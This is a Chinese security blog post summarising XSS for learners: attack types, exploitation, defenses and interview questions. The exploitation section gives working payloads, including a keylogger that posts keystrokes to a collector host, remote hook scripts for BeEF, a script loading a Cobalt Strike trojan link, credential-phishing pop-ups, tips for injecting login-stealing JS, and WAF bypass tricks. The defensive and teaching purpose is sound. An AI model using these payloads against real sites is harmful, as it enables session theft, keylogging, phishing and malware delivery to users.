web备忘录之xss总结

admin 2024年1月14日21:28:23评论20 views字数 7701阅读25分40秒阅读模式

前言

总结网安学习历程,先从基础开始,具体利用和挖掘技巧后面总结,先给大家总结笔记。

XSS简介

XSS,是一种代码注入攻击,如果网站没有对用户的输入做过滤或者过滤不严谨 ,直接返回数据给用户,用户浏览器执行了该恶意代码

XSS的分类

反射型:恶意的js代码没有储存在数据库中,只是在前端的URL中, 一次性 的,输入恶意代码就返回当前的浏览器解析, 由于需要用户主动打开恶意的 URL 才能生效,攻击者往往会结合多种手段诱导用户点击。

储存型:jS恶意代码被插入数据库中, 网站服务端将js代码从数据库取出,拼接在 HTML 中返回给浏览器

反射型 XSS 跟存储型 XSS 的区别是:存储型 XSS 的恶意代码存在数据库里,反射型 XSS 的恶意代码存在 URL 里。

DOM型:不与后台服务器产生数据交互,dom型被嵌入到前端的页面, 有可能是持久也可能是非持久型  ,大部分属于反射型 , 它能绕过大部分浏览器的过滤

DOM 型 XSS 跟前两种 XSS 的区别:DOM 型 XSS 攻击中,取出和执行恶意代码由浏览器端完成,属于前端 JavaScript 自身的安全漏洞,而其他两种 XSS 都属于服务端的安全漏洞。 

xss漏洞利用方式总结

搭建XSS平台

首先,我们需要一个XSS平台,自己搭建一个还是使用在线的都可以  

 为什么要搭建一个XSS平台呢?便于我们接受数据,比如窃取cookie之后返回给我们,获取截图返回给我们,重点是大多数xss平台还可以自动生成XSS脚本,大大的节省了我们的时间成本。 

窃取cookie

抓取屏幕截图

重定向

植入广告

<script>document.writeln("<iframe scrolling='no' frameborder='0' marginheight='0' marginwidth='0' width='2000' height='5000' allowTransparency src=[https://blog.csdn.net/zlloveyouforever/article/details/124514747?spm=1001.2014.3001.5502></iframe>");</script>](https://blog.csdn.net/zlloveyouforever/article/details/124514747?spm=1001.2014.3001.5502></iframe>");</script>)

恶意链接

<script type="text/javascript">window.location.href="[https://blog.csdn.net/zlloveyouforever/article/details/124514747?spm=1001.2014.3001.5502";</script>](https://blog.csdn.net/zlloveyouforever/article/details/124514747?spm=1001.2014.3001.5502";</script>)

网页直接跳转

<script type="text/javascript">window.location.href="跳转的目的地址";</script> <script type="text/javascript">window. location.replace("跳转的目的地址");</script> <script type="text/javascript">window. location.assign("跳转的目的地址");</script>

网页延迟跳转

(网页停留三秒后再进行跳转)

<script type="text/javascript">   function jumurl(){   window.location.href = 'https://www.baidu.com';   }   setTimeout(jumurl,3000); </script>

获取键盘记录

首先开启在kail上开启apache服务

/etc/init.d/apache2 start

以下中的bule是本人的BlueLotus平台安装路径,下面凡是bule的都是这个意思,你可以改成跟我一样或者用你的路径替换bule。  在bule目录下创建keylogger.php文件,里面代码如下, keylogger.php 【用于将键盘上的敲击的记录通过POST传送到keylog.txt中】  

<?php$key = $_POST['key'];$log = fopen("keylog.txt","a");fwrite($log,$key);fclose($log);?>

BlueLotus平台-->    公共模板-->     左下角 添加-->     文件名自行设置-->      模板说明自行编写--> js代码引入-->      更改 keylogger.php文件所在路径(改成你自己的) -->  右下角新增 keylogger.js【远程js脚本文件】js代码如下

document.onkeypress = function(evt) {    evt = evt || window.event    key = String.fromCharCode(evt.charCode)    if (key) {        var http = new XMLHttpRequest();        var param = encodeURI(key)        http.open("POST","http://127.0.0.1/bule/keylogger.php",true);        http.setRequestHeader("Content-type","application/x-www-form-urlencoded");        http.send("key="+param);    }}
keylog.txt 【空文件用于接收键盘的记录】 在输入框中输入以下代码  
<script src="http://192.168.135.138/keylogger.js"></script><script src="http://ip/keylogger.js"></script>

网页钓鱼

接下来的实验不再使用BlueLotus测试平台,而使用Web 框架攻击平台beef,全称是 The Browser Exploitation Framework,这个工具(平台)集成了许多payload,可以实现许多功能。安装

apt-get install beef-xss

中间会询问是否设置密码,手动输入密码即可,输入内容不可见,如果输错了或者忘了可以在/etc/beef-xss/config.yaml中查看  

vim /etc/beef-xss/config.yaml

有个小插曲,本人电脑安装beef-xss时始终访问不了kali官网,也试过很多办法,最终解决办法是更新源  

vim /etc/apt/sources.list  

使用如上命令打开文档,将原有的源注释掉或者删除,换成下文的清华大学的源。 

deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-freedeb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free

登录进入的页面 在前面的命令执行界面中有如上显示, 将其中这行代码写入具有XSS漏洞处即可  

<script src="http://<kali机IP>:3000/hook.js"></script>

此时刷新beef页面即可看到已经劫持了访问留言板用户的浏览器绿色模块:表示模块适用当前用户,并且执行结果对用户不可见红色模块:表示模块不适用当前用户,有些红色模块也可以执行橙色模块:模块可用,但结果对用户可见灰色模块:模块为在目标浏览器上测试过

点击Current Browser按钮即可显示所有模块(假如没看到这个按钮就把beef页面或者dvwa留言板页面刷新一下)

Browser浏览器    Chrome Extensions浏览器扩展    Debug调试    Exploits利用Host主机         Network网络       Persistence持久性       Social Engineering社会工程

beef使用

获取用户Cookie

我们点击Browser—>Hooked Domain —>Get Cookie,然后点击右下角的Execute然后点击我们执行的那条命令,右边就可以看到浏览器的 Cookie 了  

网页重定向

我们点击Browser—>Hooked Domain —>Redirect Browser,然后点击右下角的Execute,然后用户的浏览器的该页面就会跳转到百度的页面了  

社工弹窗

Pretty Theft 攻击模块会在被勾连浏览器上弹出一个弹框,然后通过欺骗性的语句来使用户输入帐号和密码。当网站有http-only这个响应首部,无法窃取cookie时,可以使用完美盗窃这个模块来窃取用户的帐号和密码。使用Pretty Theft前,需要做一些参数的设置:我们点击Social Engiineering——>Pretty Theft ,然后右上角选择弹窗的类型,右下角点击 Execute 点击Execute运行, 被勾连的浏览器会有一个提示性的弹框弹出: 由于这是在国内所以在Pretty Theft默认下弹出的诱惑性弹框中所使用的语言是英文。在国内效果肯定要打折扣了。所以要修改一下,beef/modules/social_engineering/pretty_theft/command.js中修改: 也可以自己做个页面放在这里面,修改完成后重复上面的操作  

网页挂马

网页挂马指黑客利用网站的漏洞,将木马病毒程序或下载链接嵌入网站的网页中,利用网站的流量将自己的网页木马传播,以达到自己不可告人的目的。 

先利用CS生成一个 hta格式的文件 点击链接图标并选中我们刚刚生成的hta文件web备忘录之xss总结

 这样我们就得到了下载该木马的链接  

<script src="http://192.168.1.109:80/download/file.ext"></script>

将生成的链接结合js代码利用xss漏洞插入 出现了一个删除按钮,就表示插入成功了。 

XSS危害

能够直接获取用户的信息,或者利用这些信息冒充用户向网站发起攻击者定义的请求。  例如:窃取Cookie信息、监听用户行为、修改DOM和在页面生成浮窗广告。这些都会使得用户的信息和行为变得不安全。反射型:危害小,只能通过发带有恶意js代码的链接给受害人点击dom型:能绕过很多浏览器,储存型:危害大,持久型危害,储存型的,JS恶意代码被插入数据库中, 网站服务端将js代码从数据库取出,拼接在 HTML 中返回给浏览器  

Dom型XSS的危害:DOM-XSS不经过服务端,只看服务端的日志和数据库,很难排查到DOM-XSS一般是通杀浏览器的DOM-XSS一般是被攻击的时候就执行了XSS,由于是前端DOM操作导致,很难留下痕迹  

XSS防御

  1. 输入过滤:对于提交给服务器的输入,应该进行过滤和验证,以确保它们只包含必需的字符和格式。可以使用正则表达式或HTML编码等技术来实现输入过滤。

  2. 输出编码:在将数据输出到HTML页面中时,必须对其进行编码,以确保任何潜在的恶意脚本都不会被执行。可以使用HTML编码或JavaScript编码等技术对输出进行编码。

  3. HttpOnly Cookies:  HttpOnly 是 Cookie 的一个属性,在设置Cookie的时候可以对Cookie设置该属性,该属性主要是防止Cookie被JS脚本获取,只能通过Http传输和访问。 

我们需要明确的是HttpOnly本质上并不是防止XSS攻击的,主要是起到缓解的作用,在恶意脚本执行之后,是无法获取到对应的Cookie,防止来下一步攻击的进行和用户数据的进一步泄漏。 

  1. CSP(内容安全策略):实施CSP可大大降低 XSS 的风险。CSP 允许您定义哪些资源由浏览器加载,这有助于防止XSS攻击。

  • 禁止加载外域代码,防止复杂的攻击逻辑。

  • 禁止外域提交,网站被攻击后,用户的数据不会泄露到外域。

  • 禁止内联脚本执行(规则较严格,目前发现 GitHub 使用)。

  • 禁止未授权的脚本执行(新特性,Google Map 移动版在使用)

 5.输入内容长度控制:对于不受信任的输入,都应该限定一个合理的长度。虽然无法完全防止 XSS 发生,但可以增加 XSS 攻击的难度。 

  1. 验证码:防止脚本冒充用户提交危险操作  

预防存储型和反射型 XSS 攻击

存储型和反射型 XSS 都是在服务端返回恶意代码后,插入到响应 HTML 里的,攻击者编写的“数据”被内嵌到“代码”中,被浏览器所执行预防这两种漏洞,有两种常见做法:

  • 改成纯前端渲染,把代码和数据分隔开。

  • 对 HTML 做充分转义。

预防 DOM 型 XSS 攻击

DOM 型 XSS 攻击,实际上就是网站前端 JavaScript 代码本身不够严谨,把不可信的数据当作代码执行了。在使用 .innerHTML、.outerHTML、document.write() 时要特别小心,不要把不可信的数据作为 HTML 插到页面上,而应尽量使用 .textContent、.setAttribute() 等

XSS的相关面试问题

1.从实用的角度看存储型XSS和反射型XSS以及Dom型XSS

存储型xss最持久,而且更为隐蔽,因为是存在数据库当中的,触发的url当中没有带js或者其他的html代码,所以他的实用性更高。其次则是Dom型XSS因为它能绕过大部分浏览器的过滤,再其次才是反射型XSS反射型的xss还要深思熟虑的考虑根据浏览器去bypass各种过滤,易用性稍微差一些(注意反射型xss和dom型xss都需要在url加入js代码才能够触发)

2.什么是document 和 window 对象

document表示的是一个文档对象,window表示的是一个窗口对象,一个窗口下可以有多个文档对象。document 只是属于window 的一个子对象。

3.什么是非持久型什么是非持久型,Dom型xss又属于那种呢?

非持久型xss攻击:顾名思义,非持久型xss攻击是一次性的,仅对当次的页面访问产生影响。非持久型xss攻击要求用户访问一个被攻击者篡改后的链接,用户访问该链接时,被植入的攻击脚本被用户游览器执行,从而达到攻击目的。持久型xss攻击:持久型xss,会把攻击者的数据存储在服务器端,攻击行为将伴随着攻击数据一直存在。而Dom型xss属于有可能是持久也可能是非持久型

4.通过xss打到的cookie怎么用来登录呢

通过抓包将你得到的cookie贴相应位置到里面即可,注意抓到的是什么页面的cookie就去相应页面抓包修改,不要找错页面了。

5.为什么在靶场后面加个1.txt就能绕waf

因为它认为.txt文件是安全的,所以可绕过,又因为它找不到1.txt这个文件,他就会解析上级目录

6.为什么靶场可以用native编码来绕waf

因为document.write()他可以接受native编码

7.Dom型XSS的优点避开waf

因为有些情况Dom Xss的Payload,可以通过location.hash,即设置为锚部分从#之后的部分,既能让JS读取到该参数,又不让该参数传入到服务器,从而避免waf检测。location.search也类似,它可以把部分参数放在?之后的部分。长度不限,这个很重要,关键时候!

8.为什么有时弹窗弹不出来

首先可以尝试更换浏览器,谷歌浏览器过滤反射型XSS,可以更换火狐之类的再做尝试。

9.网站可能过滤了script标签怎么测试此网站是否存在XSS测试

弹窗的语句并不只有可以尝试跟换大小写,以及更换其他语句来测试

10.为什么通过抓包来做XSS会比直接在前端插要好

因为前端可能存在着一些代码的过滤,也可能存在一些输入长度的限制,这些一般都是前端检测,所以用burp就不会存在这些问题

11.测试网站是否存在XSS关键在于什么

关键看善于看网站源码,通过网站源码给你的信息来进行测试,并且要善于找输出点,这些地方都是需要重点排查的

12.常见XSS平台有哪些?

XSSPT XSS8.CC load.com

13.访问XSS平台的时候有什么注意事项?

以前也搭建过XSS平台,其实后台可以看到所有用户的Cookie,当你用了别人的XSS平台其实就要注意信息泄露这个问题,而且访问XSS平台和XSS页面建议使用无痕

14.xss作用

盗用cookie,得到内网ip,获取保存的密码等

15.DOM型XSS的防御方法

DOM型XSS主要是由客户端的脚本通过DOM动态地输出数据到页面而不是依赖于将数据提交给服务器端,而从客户端获得DOM中的数据在本地执行,因而仅从服务器端是无法防御的。

其防御在于:

(1) 避免客户端文档重写、重定向或其他敏感操作,同时避免使用客户端数据,这些操作尽量在服务器端使用动态页面来实现;

(2) 分析和强化客户端JS代码,特别是受到用户影响的DOM对象,注意能直接修改DOM和创建HTML文件的相关函数或方法,并在输出变量到页面时先进行编码转义,如输出到HTML则进行HTML编码、输出到

16.为什么不建议用谷歌浏览器做dom-xss?

新版Chrome针对script context类型的domxss做了检测拦截

17.如何绕过Http-only?

HTTP-Only禁止的是JS读取cookie信息,Http Trace攻击就可以将你的Header里的 Cookie回显出来,利用Ajax或者flash就可以完成这种攻击;或者配置或者应用程序上可能 Bypass,比如header头的泄漏  

18.如何快速判定XSS类型

存储型XSS:你发送一次带XSS代码的请求,以后这个页面的返回包里都会有XSS代码;反射型XSS:你发送一次带XSS代码的请求,只能在当前返回的数据包中发现XSS代码;DOM型XSS:你发送一次带XSS代码的请求,在返回包里压根儿就找不到XSS代码的影子;

19.有shell情况下如何使用xss实现对目标站的长久控制?

后台登录处加一段记录登录账号密码的 js,并且判断是否登录成功,如果登录成功,就把账 号密码记 录到一个生僻的路径的文件中或者直接发到自己的网站文件中。(此方法适合有价值 并且需要深入控 制权限的网络)。在登录后才可以访问的文件中插入XSS脚本  

20.XSS弹窗函数和常见的XSS绕过策略?

alert,confirm,prompt 三种函数

绕过策略:1.大小写混合 2.双写 3.编码 4.fuzz 低频使用标签 5.fuzz 低频使用函数 ontoggle 等

  1. 7.%0a 或者%0d 绕过

总结

  1. 了解xss原理,常见攻击方式

  2. 了解常见的面试题,面试过初级的小伙伴都懂

  3. 没有垃圾洞,只有垃圾*,只要你不动手去试,笔记做再好都会忘

原文始发于微信公众号(PwnPigPig):web备忘录之xss总结

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月14日21:28:23
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   web备忘录之xss总结http://cn-sec.com/archives/2390183.html

发表评论

匿名网友 填写信息